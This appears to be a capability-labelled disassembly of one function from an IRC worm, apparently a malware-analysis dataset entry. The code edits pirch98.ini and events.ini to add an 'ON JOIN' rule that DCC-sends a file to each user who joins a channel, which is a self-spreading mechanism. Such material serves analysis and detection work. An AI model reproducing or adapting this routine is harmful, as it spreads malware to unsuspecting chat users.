Function at 0x402b50
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x104
or ecx, 0xffffffff
xor eax, eax
push ebx
push ebp
mov ebp, dword [esp + 0x110]
push esi
push edi
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xb
push ecx
call fcn.00403730
mov esi, eax
push ebp
push str._spirch98.ini
push esi
call fcn.004037a4
add esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
push 0x40bfac
push str.AutoHideDccWin
push 0x40bf98
call esi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xa
push ecx
call fcn.00403730
mov ebx, eax
push ebp
push str._sevents.ini
push ebx
call fcn.004037a4
add esp, 0x10
push ebx
push 0x40bfac
push str.Enabled
push str.Levels
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
push ebx
lea eax, [esp + 0x18]
push 0xff
push eax
push str.Default
push str.Count
push str.Levels
call edi
lea ecx, [esp + 0x14]
push 0x40b614
push ecx
call fcn.004039b5
push eax
call fcn.00403adc
add esp, 0xc
cmp eax, 1
jge 0x402c26
push ebx
push 0x40bfac
push str.Count
push str.Levels
call esi
push ebx
lea edx, [esp + 0x18]
push 0xff
push edx
push str.Default
push str.Level1
push str.Levels
call edi
lea eax, [esp + 0x14]
push 0x40b614
push eax
call fcn.004039b5
mov ebp, eax
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 7
push ecx
call fcn.00403730
mov edi, eax
push ebp
push str._sEnabled
push edi
call fcn.004037a4
add esp, 0x18
push ebx
push 0x40bfac
push edi
push str.Levels
call esi
push ebx
push str.__
push str.User1
push ebp
call esi
mov edi, 0x40ccdc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0x1a
push ecx
call fcn.00403730
add esp, 4
mov edi, eax
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push 0x40ccdc
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
jne 0x402cdd
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x40cbd8
jmp 0x402ce9
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x40ccdc
push str.ON_JOIN::_dcc_send__nick__s
push edi
call fcn.004037a4
add esp, 0xc
push ebx
push edi
push str.Event1
push ebp
call esi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
call fcn.00403730
mov edx, eax
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esp + 0x10], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
push 0xff
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea ecx, [esp + 0x1c]
push ecx
push str.Default
push str.UserCount
push ebp
call edi
lea edx, [esp + 0x14]
push 0x40b614
push edx
call fcn.004039b5
push eax
call fcn.00403adc
add esp, 0xc
cmp eax, 1
jge 0x402d8e
mov esi, dword [esp + 0x10]
push ebx
push 0x40bfac
push str.UserCount
push esi
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
jmp 0x402d92
mov esi, dword [esp + 0x10]
push ebx
lea eax, [esp + 0x18]
push 0xff
push eax
push str.Default
push str.EventCount
push esi
call edi
lea ecx, [esp + 0x14]
push 0x40b614
push ecx
call fcn.004039b5
push eax
call fcn.00403adc
add esp, 0xc
cmp eax, 1
jge 0x402dd9
push ebx
push 0x40bfac
push str.EventCount
push esi
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret